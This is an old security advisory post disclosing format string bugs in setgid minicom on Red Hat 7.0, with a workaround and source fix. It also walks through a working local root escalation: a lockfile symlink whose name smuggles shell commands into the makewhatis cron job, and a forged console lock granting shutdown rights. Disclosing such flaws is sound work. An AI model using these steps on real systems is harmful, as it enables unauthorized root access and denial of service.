[This advisory was posted Wed Apr 11 08:06:49 2001 to
 bugzilla.redhat.com/bugzilla and became inaccessable
 not long after. (I went to add more information, a
 couple of days after and had been locked out, so I
 tried emailing the QAContact this information on Tue
 Apr 24 , but received no reply. Now being Friday May 4
 and nothing being forthcoming with reguards to a fix,
 I wonder whats taking so long.) ]

############################################

  minicom - format string holes since 1997.

         minicom ROOT exploit.

############################################
               zen-parse
############################################
############################################
                SYNOPSIS
############################################

Minicom has multiple format string bugs.
 - ulog()
 - werror()

Any user who has access to a correctly
configured, setgid uucp minicom can
potentially gain root access within 24
hrs, or have console access (as determined
by PAM) and be able to cause shutdown of
the machine immediately.

affects: Redhat 7.0, almost definately
         earlier based on dates in sourcecode
         comments.

         May not be a security hole on other
         distributions. Depends on if its
         setuid/setgid.

         Root exploit does exist.
         (I wrote one last night)

############################################
                  details
############################################

If minicom -s hasn't been run as root prior,
then this exploit will probably not work.

Work around: chmod -s /usr/bin/minicom

[rootclarity src]# whatis minicom
minicom (1) - friendly serial communication program
[rootclarity /root]# rpm -qf `which minicom`
minicom-1.83.1-4
[rootclarity src]# ll `which minicom`
-rwxr-sr-x 1 root uucp 171452 Jan 30 05:54 /usr/bin/minicom*
[rootclarity src]# cd /usr/src/redhat/SOURCES/minicom-1.83.1/src
[rootclarity src]# grep do_log common.c|grep -v "%"
common.c: * void do_log(char *) - write a line to the logfile
common.c: * 27.10.98 jl converted do_log to use stdarg
common.c:void do_log(char *line, ...)
common.c:void do_log(char *line, ...)
[rootclarity src]# grep do_log updown.c
    do_log(cmdline); /* jl 22.06.97 */
                        do_log (trimbuf);
                      do_log(trimbuf);
    do_log (trimbuf);

<should be:

    do_log("%s",cmdline); /* jl 22.06.97 */
                        do_log ("%s",trimbuf);
                      do_log("%s",trimbuf);
    do_log ("%s",trimbuf);

 and others are spread through the code that I haven't checked, but
 should probably be fixed.>

<updown.c contains the code for the uploading and downloading of files.
 cmdline contains the command that it executes to upload and download
 files. Part of the command is of course the filename.>

[rootclarity src]# touch ~/%n
[rootclarity src]# ll ~/%n
-rw-r--r-- 1 root root 0 Apr 11 11:26 /root/%n

<Using root to demonstrate problem so i can gdb the sgid program.>

[rootclarity src]# gdb minicom
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(no debugging symbols found)...
(gdb) r
Starting program: /usr/bin/minicom
minicom: WARNING: please don't run minicom as root when not maintaining
                  it (with the -s switch) since all changes to the
                  configuration will be GLOBAL !.

<Screen clears... initializing modem message...>

Welcome to minicom 1.83.1

OPTIONS: History Buffer, F-key Macros, Search History Buffer, I18n
Compiled on Aug 24 2000, 10:09:47.

Press CTRL-A Z for help on special keys
                                                     
                                                     
<press ^A S ,select xmodem, then move the cursor down to %n, press
 space to tag it and then press return...>

(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x400b7a17 in _IO_vfprintf (s=0x8080a60,
    format=0xbffff2c0 "/usr/bin/sx -vv %n", ap=0xbffff248)
    at ../sysdeps/i386/i486/bits/string.h:539
539 ../sysdeps/i386/i486/bits/string.h: No such file or directory.
(gdb) q

<Ok, big deal. You get gid uucp if you exploit it.>
===================================================================
=========================THE IMPORTANT PART========================
===================================================================
[rootclarity src]# cd /var/lock
[rootclarity lock]# ls -Flatrck
total 20
drwxr-xr-x 19 root root 4096 Apr 5 02:35 ../
drwxrwxr-x 2 root root 4096 Apr 7 12:10 subsys/
drwxr-xr-x 2 root root 4096 Apr 9 13:16 console/
drwxrwxr-x 4 root uucp 4096 Apr 11 11:31 ./

<writable by gid uucp.. ok>
[rootclarity lock]# cat /etc/cron.daily/makewhatis.cron
#!/bin/bash

LOCKFILE=/var/lock/makewhatis.lock

# the lockfile is not meant to be perfect, it's just in case the
# two makewhatis cron scripts get run close to each other to keep
# them from stepping on each other's toes. The worst that will
# happen is that they will temporarily corrupt the database...
[ -f $LOCKFILE ] && exit 0
trap "rm -f $LOCKFILE" EXIT
touch $LOCKFILE
makewhatis -u -w
exit 0

< The worst that can happen is someone will exploit this lockfile
  mechanism for root. >

[rootclarity lock]# su uucp
<or run an exploit against minicom.. the gid is the important part.>
sh-2.04$ id
uid=10(uucp) gid=14(uucp) groups=14(uucp)
sh-2.04$ ln -s "/usr/share/man/man1/ls.1.gz;cd ..;cd ..;cd ..;cd ..;cd tmp;export PATH=.;getroot;echo .1.gz" /var/lock/makewhatis.lock
sh-2.04$ ls -al
total 16
drwxrwxr-x 4 root uucp 4096 Apr 11 11:41 .
drwxr-xr-x 19 root root 4096 Apr 5 02:35 ..
drwxr-xr-x 2 root root 4096 Apr 9 13:16 console
lrwxrwxrwx 1 uucp uucp 91 Apr 11 11:41 makewhatis.lock -> /usr/share/man/man1/ls.1.gz;cd ..;cd ..;cd ..;cd ..;cd tmp;export PATH=.;getroot;echo .1.gz
drwxrwxr-x 2 root root 4096 Apr 7 12:10 subsys
<ok... what is happening? checkout /usr/sbin/makewhatis.

                pipe_cmd = "zcat " filename;

if the filename contains shell commands, they will be exectuted. not
normally a problem, as what manpages have embedded shell commands?
malicious ones, like this. The echo on the end is to prevent it from
returning an error from the command. the export PATH=. is because we
can't put any / characters in the filename. well that will get you root next
time /etc/cron.daily/makewhatos.cron runs. what else ...>
sh-2.04$ rm makewhatis.lock
sh-2.04$ echo -n uucp>console.lock
sh-2.04$ mv console oldconsole
sh-2.04$ mkdir console;touch console/uucp
<now we are at the console(according to PAM anyway). halt anyone?>

************************************************************************
              zen-parse - unemployed computer person.

                    <CV available on demand -
                 Could whoever it was who emailed
              me about that please email again? Thats
            not to say any companies who haven't emailed
                  me can't email me this time...>
************************************************************************

Sign up for your FREE E-MAIL account Dynamitemail:
http://www.dynamitemail.com

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]